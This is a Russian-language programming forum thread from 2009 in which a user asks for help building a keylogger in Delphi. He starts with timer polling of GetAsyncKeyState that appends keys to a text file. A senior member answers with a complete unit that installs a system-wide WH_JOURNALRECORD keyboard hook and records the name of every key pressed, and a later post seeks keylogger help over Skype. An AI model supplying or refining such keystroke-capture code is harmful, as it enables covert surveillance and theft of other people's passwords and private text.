Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.04.2009, 12:58   #1
andreibtzt
Заблокирован
 
Регистрация: 04.04.2009
Сообщений: 43
По умолчанию Keylogger, проблемы

Привет всем, у меня такая проблема, я зделал этот код, и он у меня сахраняет в фаиле, типа не Esc, a EscEscEscEsc, и на все клавиши так зделает, код вот такои, в чиом проблема???
извините за транслит.

if getasynckeystate($1b)<>0 then
AppendOrWriteTextToFile('c:\file.tx t', 'Esc');

он работает на Timer, с интервалом 1sec

Код:
function Tform1.AppendOrWriteTextToFile(FileName : TFilename; WriteText : string): boolean;


 var
   f : Textfile;
 begin
   Result := False;
   AssignFile(f, FileName);
   try
     if FileExists(FileName) = False then
       Rewrite(f)
     else
     begin
       Append(f);
     end;
     Write(f, WriteText);
     Result := True;
   finally
     CloseFile(f);

   end;
 end;

Последний раз редактировалось Stilet; 17.04.2009 в 14:18.
andreibtzt вне форума Ответить с цитированием
Старый 17.04.2009, 14:21   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

У меня такое работает норм
Код:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if getasynckeystate($1b)<>0 then caption:=caption+'Esc ';
end;
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.04.2009, 14:42   #3
andreibtzt
Заблокирован
 
Регистрация: 04.04.2009
Сообщений: 43
По умолчанию

Stilet, а ты пробувал зделати штоб он сахранял в фаил?
andreibtzt вне форума Ответить с цитированием
Старый 17.04.2009, 14:52   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Да. Нормательно работает.

Тут дело в том что эта функа выдает 0 если не нажать -1- если нажато но еще не отпущено и 1 - если было нажато и отпущено

Так что условие поставь
Код:
if getasynckeystate($1b)=1
I'm learning to live...

Последний раз редактировалось Stilet; 17.04.2009 в 14:55.
Stilet вне форума Ответить с цитированием
Старый 17.04.2009, 14:59   #5
andreibtzt
Заблокирован
 
Регистрация: 04.04.2009
Сообщений: 43
По умолчанию

не работает так, if getasynckeystate($1b)=1
andreibtzt вне форума Ответить с цитированием
Старый 17.04.2009, 15:07   #6
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Все работает просто таймер не успевает.
Ты не хочеш сказать зачем тебе это?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.04.2009, 15:16   #7
andreibtzt
Заблокирован
 
Регистрация: 04.04.2009
Сообщений: 43
По умолчанию

Stilet, хачу зделать Keylogger,

патамушто я хачу зделать, без hook, я не понимаю ево,но если помогаеши буду благадарен, но зделати так штоб не било, не один .dll,

Последний раз редактировалось Stilet; 17.04.2009 в 15:21.
andreibtzt вне форума Ответить с цитированием
Старый 17.04.2009, 15:21   #8
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Таймер для этого подходит так же как пятый рукав к зайцу )
Хуки реализуй.

Вот пример:

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
function Proc(
    code:integer;
    wParam:WPARAM;
    lParam:LPARAM
   ):lresult;stdcall;
   
var
  h:hhook;
  Form1: TForm1;

implementation
 function Proc(

    code:integer;
    wParam:WPARAM;
    lParam:LPARAM
   ):lresult;stdcall;
var c:array[0..255] of char;
 s:string;
    nScan:integer;
begin
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
//  form1.memo1..Add(c);
s:=c;
Form1.Caption:=s;
if length(s)=1 then
 Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c
else begin
  Form1.Memo1.Lines.Append('');
  Form1.Memo1.Lines.Append('---');
  Form1.Memo1.Lines.Append(c);
  Form1.Memo1.Lines.Append('---');
 end;{}
 end;
 result:=callnexthookex(h,code,wparam,lparam);
end;

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
 caption:=inttostr(h);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 unhookwindowshookex(h);
end;

end.
Что не ясно спрашивай.
I'm learning to live...

Последний раз редактировалось Stilet; 17.04.2009 в 15:26.
Stilet вне форума Ответить с цитированием
Старый 17.04.2009, 15:27   #9
andreibtzt
Заблокирован
 
Регистрация: 04.04.2009
Сообщений: 43
По умолчанию

спасибо тебе!
andreibtzt вне форума Ответить с цитированием
Старый 05.06.2010, 17:51   #10
Дмитрий2010
Новичок
Джуниор
 
Регистрация: 05.06.2010
Сообщений: 4
По умолчанию

Есть проблема с кейлоггером кто может помочь skype: malisss2
Дмитрий2010 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
:::Keylogger::: doniyor Общие вопросы Delphi 15 02.03.2012 19:56
keylogger DeDoK Общие вопросы Delphi 15 06.06.2010 00:15
Elite Keylogger 4.1 From Heaven Софт 8 18.02.2009 22:30
проблемы с IE xakzona Помощь студентам 1 16.12.2008 21:53
Как правильно удалить с компа Keylogger? Кира Помощь студентам 4 17.12.2007 16:51